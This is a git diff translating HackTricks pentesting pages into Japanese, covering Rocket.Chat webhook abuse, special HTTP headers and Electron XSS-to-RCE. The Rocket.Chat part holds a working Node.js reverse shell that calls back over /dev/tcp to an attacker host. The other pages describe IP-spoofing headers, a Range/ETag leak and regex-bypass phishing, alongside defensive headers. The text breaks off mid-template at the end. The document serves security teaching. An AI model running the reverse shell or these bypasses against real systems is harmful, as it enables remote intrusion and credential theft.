`/admin/integrations/incoming` +* **`Integrations`** に移動し、**`New Integration`** を選択し、**`Incoming WebHook`** または **`Outgoing WebHook`** を選択します。 +* `/admin/integrations/incoming`
-* According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) like: - +* [ドキュメント](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方の方法はES2015 / ECMAScript 6(基本的にはJavaScript)を使用してデータを処理します。したがって、[rev shell for javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs)を取得しましょう。 ```javascript const require = console.log.constructor('return process.mainModule.require')(); const { exec } = require('child_process'); exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") ``` - -* Configure the WebHook (the channel and post as username must exists): +* WebHookの設定(チャンネルと投稿するユーザー名が存在する必要があります):
-* Configure WebHook script: +* WebHookスクリプトの設定:
-* Save changes -* Get the generated WebHook URL: +* 変更を保存する +* 生成されたWebHook URLを取得する:
-* Call it with curl and you shuold receive the rev shell +* curlを使用して呼び出し、リバースシェルを受け取るはずです
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/special-http-headers.md b/network-services-pentesting/pentesting-web/special-http-headers.md index 1c1edbefa..9ac780758 100644 --- a/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/network-services-pentesting/pentesting-web/special-http-headers.md @@ -1,25 +1,25 @@ -# Special HTTP headers +# 特別なHTTPヘッダー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## Wordlists & Tools +## ワードリストとツール * [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers) * [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble) -## Headers to Change Location +## 位置を変更するヘッダー -Rewrite **IP source**: +**IPソース**を書き換える: * `X-Originating-IP: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1` @@ -37,16 +37,16 @@ Rewrite **IP source**: * `Cluster-Client-IP: 127.0.0.1` * `X-ProxyUser-Ip: 127.0.0.1` * `Via: 1.0 fred, 1.1 127.0.0.1` -* `Connection: close, X-Forwarded-For` (Check hop-by-hop headers) +* `Connection: close, X-Forwarded-For`(ホップバイホップヘッダーをチェック) -Rewrite **location**: +**位置**を書き換える: * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` -## Hop-by-Hop headers +## ホップバイホップヘッダー -A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header. +ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されるヘッダーであり、エンドツーエンドのヘッダーとは異なります。 * `Connection: close, X-Forwarded-For` @@ -54,7 +54,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b [abusing-hop-by-hop-headers.md](../../pentesting-web/abusing-hop-by-hop-headers.md) {% endcontent-ref %} -## HTTP Request Smuggling +## HTTPリクエストスマグリング * `Content-Length: 30` * `Transfer-Encoding: chunked` @@ -63,83 +63,81 @@ A hop-by-hop header is a header which is designed to be processed and consumed b [http-request-smuggling](../../pentesting-web/http-request-smuggling/) {% endcontent-ref %} -## Cache Headers +## キャッシュヘッダー -**Server Cache Headers**: +**サーバーキャッシュヘッダー**: -* **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached -* **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -* **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. -* **`Age`** defines the times in seconds the object has been in the proxy cache. -* **`Server-Timing: cdn-cache; desc=HIT`** also indicates that a resource was cached +* レスポンスの**`X-Cache`**には、リクエストがキャッシュされていない場合は**`miss`**という値があり、キャッシュされている場合は**`hit`**という値があります。 +* **`Cache-Control`**は、リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる時間を示します:`Cache-Control: public, max-age=1800` +* **`Vary`**は、通常はキーにならないヘッダーを**キャッシュキーの一部**として扱うために、レスポンスでよく使用されます。 +* **`Age`**は、オブジェクトがプロキシキャッシュに存在している時間(秒単位)を定義します。 +* **`Server-Timing: cdn-cache; desc=HIT`**は、リソースがキャッシュされていることも示しています。 {% content-ref url="../../pentesting-web/cache-deception.md" %} [cache-deception.md](../../pentesting-web/cache-deception.md) {% endcontent-ref %} -**Local Cache headers**: +**ローカルキャッシュヘッダー**: -* `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"` -* `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` -* `Pragma: no-cache` same as `Cache-Control: no-cache` -* `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"` +* `Clear-Site-Data`: 削除するキャッシュを示すヘッダー:`Clear-Site-Data: "cache", "cookies"` +* `Expires`: レスポンスの有効期限の日付/時刻を含む:`Expires: Wed, 21 Oct 2015 07:28:00 GMT` +* `Pragma: no-cache`は`Cache-Control: no-cache`と同じです。 +* `Warning`: **`Warning`**一般的なHTTPヘッダーには、メッセージのステータスに関する問題の可能性についての情報が含まれています。複数の`Warning`ヘッダーがレスポンスに表示される場合があります。`Warning: 110 anderson/1.3.37 "Response is stale"` +## 条件文 -## Conditionals +* **`If-Modified-Since`** と **`If-Unmodified-Since`** ヘッダを使用したリクエストは、レスポンスヘッダの **`Last-Modified`** が異なる時間を含んでいる場合にのみデータが返されます。 +* **`If-Match`** と **`If-None-Match`** を使用した条件付きリクエストは、Etag 値を使用して、データ(Etag)が変更された場合にのみウェブサーバからレスポンスの内容を送信します。`Etag` は HTTP レスポンスから取得されます。 +* **Etag** の値は通常、レスポンスの内容に基づいて計算されます。例えば、`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` は、`Etag` が **37 バイト**の **Sha1** であることを示しています。 -* Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header\*\*`Last-Modified`\*\* contains a different time. -* Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response. - * The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**. +## レンジリクエスト -## Range requests +* **`Accept-Ranges`**: サーバがレンジリクエストをサポートしているかどうか、およびどの単位でレンジを表現できるかを示します。`Accept-Ranges: ` +* **`Range`**: サーバが返すべきドキュメントの一部を示します。 +* **`If-Range`**: 指定された Etag または日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの非互換なバージョンから 2 つの範囲をダウンロードするのを防ぐために使用されます。 +* **`Content-Range`**: フルボディメッセージ内の部分メッセージが属する位置を示します。 -* **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: ` -* **`Range`**: Indicates the part of a document that the server should return. -* **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource. -* **`Content-Range`**: Indicates where in a full body message a partial message belongs. +## メッセージボディの情報 -## Message body information +* **`Content-Length`:** リソースのサイズ(バイト単位の 10 進数)。 +* **`Content-Type`**: リソースのメディアタイプを示します。 +* **`Content-Encoding`**: 圧縮アルゴリズムを指定するために使用されます。 +* **`Content-Language`**: 視聴者向けに意図された人間の言語を記述し、ユーザが自分の好みの言語に応じて区別できるようにします。 +* **`Content-Location`**: 返されるデータの代替位置を示します。 -* **`Content-Length`:** The size of the resource, in decimal number of bytes. -* **`Content-Type`**: Indicates the media type of the resource -* **`Content-Encoding`**: Used to specify the compression algorithm. -* **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language. -* **`Content-Location`**: Indicates an alternate location for the returned data. +ペントストの観点からは、この情報は通常「役に立たない」ですが、リソースが 401 または 403 で保護されており、この情報を取得する方法がある場合、これは「興味深い」かもしれません。\ +たとえば、HEAD リクエストで **`Range`** と **`Etag`** の組み合わせを使用すると、HEAD リクエストを介してページのコンテンツが漏洩することがあります。 -From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\ -For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests: +* ヘッダ `Range: bytes=20-20` を含むリクエストと、`ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` を含むレスポンスは、バイト 20 の SHA1 が `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` であることを漏洩しています。 -* A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` - -## Server Info +## サーバ情報 * `Server: Apache/2.4.1 (Unix)` * `X-Powered-By: PHP/5.3.3` -## Controls +## 制御 -* **`Allow`:** Lists the set of methods supported by a resource. `Allow: GET, POST, HEAD` -* **`Expect`**: The **`Expect`** HTTP request header indicates expectations that need to be fulfilled by the server in order to properly handle the request. - * No other expectations except `Expect: 100-continue` are specified currently. Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a [`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100) (Continue) interim response. +* **`Allow`:** リソースでサポートされているメソッドのセットをリストします。`Allow: GET, POST, HEAD` +* **`Expect`**: **`Expect`** HTTP リクエストヘッダは、リクエストを適切に処理するためにサーバが満たす必要がある期待を示します。 +* 現在、`Expect: 100-continue` 以外の期待は指定されていません。このリクエストで(おそらく大きな)メッセージボディを送信する予定であり、[`100`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/100)(継続)の中間レスポンスを受け取りたいことを受信者に通知します。 -## Downloads +## ダウンロード -* **`Content-Disposition`**: In a regular HTTP response, the **`Content-Disposition`** response header is a header indicating if the content is expected to be displayed _inline_ in the browser, that is, as a Web page or as part of a Web page, or as an _attachment_, that is downloaded and saved locally. - * `Content-Disposition: attachment; filename="filename.jpg"` +* **`Content-Disposition`**: 通常の HTTP レスポンスでは、**`Content-Disposition`** レスポンスヘッダは、コンテンツがブラウザでインライン表示されるか(Web ページまたは Web ページの一部として)または添付ファイルとして(ダウンロードしてローカルに保存される)かを示すヘッダです。 +* `Content-Disposition: attachment; filename="filename.jpg"` -## Security Headers +## セキュリティヘッダ -### Content Security Policy (CSP) +### コンテンツセキュリティポリシー(CSP) {% content-ref url="../../pentesting-web/content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../../pentesting-web/content-security-policy-csp-bypass/) {% endcontent-ref %} -### Trusted Types +### 信頼されたタイプ -Trusted Types provide the tools to write, security review, and maintain applications free of DOM XSS. They can be enabled via [CSP](https://web.dev/security-headers/#csp) and make JavaScript code secure by default by limiting dangerous web APIs to only accept a special object—a Trusted Type. - -To create these objects you can define security policies in which you can ensure that security rules (such as escaping or sanitization) are consistently applied before the data is written to the DOM. These policies are then the only places in code that could potentially introduce DOM XSS. +信頼されたタイプは、DOM XSS からのアプリケーションの自由な記述、セキュリティレビュー、およびメンテナンスを提供するツールです。これらは[CSP](https://web.dev/security-headers/#csp)を介して有効にすることができ、危険な Web API を特別なオブジェクト(信頼されたタイプ)のみ受け入れるように制限することで、JavaScript コードをデフォルトで安全にします。 +これらのオブジェクトを作成するには、セキュリティポリシーを定義することができます。セキュリティポリシーでは、データが DOM に書き込まれる前にセキュリティルール(エスケープやサニタイズなど)が一貫して適用されることを保証できます。これらのポリシーは、コード内で唯一の場所であり、DOM XSS を導入する可能性がある場所です。 ```http Content-Security-Policy: require-trusted-types-for 'script' ``` @@ -147,12 +145,12 @@ Content-Security-Policy: require-trusted-types-for 'script' ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { - // Name and create a policy - const policy = trustedTypes.createPolicy('escapePolicy', { - createHTML: str => { - return str.replace(/\/g, '>'); - } - }); +// Name and create a policy +const policy = trustedTypes.createPolicy('escapePolicy', { +createHTML: str => { +return str.replace(/\/g, '>'); +} +}); } ``` @@ -164,93 +162,72 @@ el.innerHTML = 'some string'; // This throws an exception. const escaped = policy.createHTML(''); el.innerHTML = escaped; // '<img src=x onerror=alert(1)>' ``` - ### X-Content-Type-Options -When a malicious HTML document is served from your domain (for example, if an image uploaded to a photo service contains valid HTML markup), some browsers will treat it as an active document and allow it to execute scripts in the context of the application, leading to a [cross-site scripting bug](https://www.google.com/about/appsecurity/learning/xss/). - -`X-Content-Type-Options: nosniff` prevents it by instructing the browser that the [MIME type](https://mimesniff.spec.whatwg.org/#introduction) set in the `Content-Type` header for a given response is correct. This header is recommended for **all of your resources**. +悪意のあるHTMLドキュメントがあなたのドメインから提供される場合(たとえば、写真サービスにアップロードされた画像に有効なHTMLマークアップが含まれている場合)、一部のブラウザはそれをアクティブなドキュメントとして扱い、アプリケーションのコンテキストでスクリプトを実行することを許可します。これにより、[クロスサイトスクリプティングのバグ](https://www.google.com/about/appsecurity/learning/xss/)が発生します。 +`X-Content-Type-Options: nosniff`は、特定のレスポンスの`Content-Type`ヘッダに設定された[MIMEタイプ](https://mimesniff.spec.whatwg.org/#introduction)が正しいことをブラウザに指示することで、これを防ぎます。このヘッダは、**すべてのリソース**に対して推奨されています。 ```http X-Content-Type-Options: nosniff ``` - ### X-Frame-Options -If a malicious website can embed your site as an iframe, this may allow attackers to invoke unintended actions by the user with [clickjacking](https://portswigger.net/web-security/clickjacking). Also, in some cases [Spectre-type attacks](https://en.wikipedia.org/wiki/Spectre\_\(security\_vulnerability\)) give malicious websites a chance to learn about the contents of an embedded document. +悪意のあるウェブサイトがあなたのサイトをiframeとして埋め込むことができる場合、これによって攻撃者は[クリックジャッキング](https://portswigger.net/web-security/clickjacking)によってユーザーに意図しないアクションを実行させることができます。また、一部の場合では[スペクター型攻撃](https://en.wikipedia.org/wiki/Spectre\_\(security\_vulnerability\))によって、悪意のあるウェブサイトが埋め込まれたドキュメントの内容を知ることができる可能性があります。 -`X-Frame-Options` indicates whether or not a browser should be allowed to render a page in a ``, ` ``` +## **RCE: XSS + 古いChromium** -## **RCE: XSS + Old Chromium** +アプリケーションで使用されている**Chromium**が**古い**場合、それには**既知の脆弱性**が存在する可能性があり、それを**利用してXSSを介してRCEを取得することができる**かもしれません。\ +この**解説**で例を見ることができます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\ -You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) +## **内部URL正規表現バイパスによるXSSフィッシング** -## **XSS Phishing via Internal URL regex bypass** - -Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**. - -First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end: +XSSを見つけたが、**RCEをトリガーできず内部ファイルを盗むこともできない**場合、それを使用して**フィッシングを介して資格情報を盗む**ことを試すことができます。 +まず、フロントエンドのJSコードをチェックして、新しいURLを開こうとした場合に何が起こるかを知る必要があります: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` +**`openInternally`**の呼び出しは、リンクがプラットフォームに所属するため、デスクトップウィンドウで開かれるか、サードパーティのリソースとしてブラウザで開かれるかを決定します。 -The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**. - -In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user: - +関数で使用される**正規表現**が**回避可能な脆弱性**を持つ場合(たとえば、サブドメインのドットをエスケープしない場合など)、攻撃者はXSSを悪用して、ユーザーに対して資格情報を要求するための**新しいウィンドウを開く**ことができます。 ```html ``` +## **ツール** -## **Tools** +* [**Electronegativity**](https://github.com/doyensec/electronegativity)は、Electronベースのアプリケーションの設定ミスやセキュリティのアンチパターンを特定するためのツールです。 +* [**Electrolint**](https://github.com/ksdmitrieva/electrolint)は、Electronアプリケーション用のオープンソースのVS Codeプラグインで、Electronegativityを使用します。 +* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)は、脆弱なサードパーティライブラリをチェックするためのツールです。 +* [**Electro.ng**](https://electro.ng/):購入が必要です -* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications. -* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity. -* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries -* [**Electro.ng**](https://electro.ng/): You need to buy it +## ラボ -## Labs - -In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps. - -Some commands that will help you will the lab: +[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)には、脆弱なElectronアプリを悪用するためのラボがあります。 +ラボで役立ついくつかのコマンド: ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -319,25 +290,24 @@ cd vulnerable1 npm install npm start ``` - -## **References** +## **参考文献** * [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) * [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) * [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) * [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) * [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) -* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) +* Electronセキュリティに関するさらなる研究と解説は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)を参照してください。 * [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 73f9bbd28..fcdfa57cc 100644 --- a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -1,72 +1,66 @@ -# Electron contextIsolation RCE via Electron internal code +# ElectronのcontextIsolationを利用したRCE(リモートコード実行)について
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Example 1 +## 例1 -Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) - -"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation: +[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)からの例 +"exit" イベントリスナーは、ページの読み込みが開始されると常に内部コードによって設定されます。このイベントは、ナビゲーションの直前に発生します。 ```javascript process.on('exit', function (){ - for (let p in cachedArchives) { - if (!hasProp.call(cachedArchives, p)) continue - cachedArchives[p].destroy() - } +for (let p in cachedArchives) { +if (!hasProp.call(cachedArchives, p)) continue +cachedArchives[p].destroy() +} }) ``` - {% embed 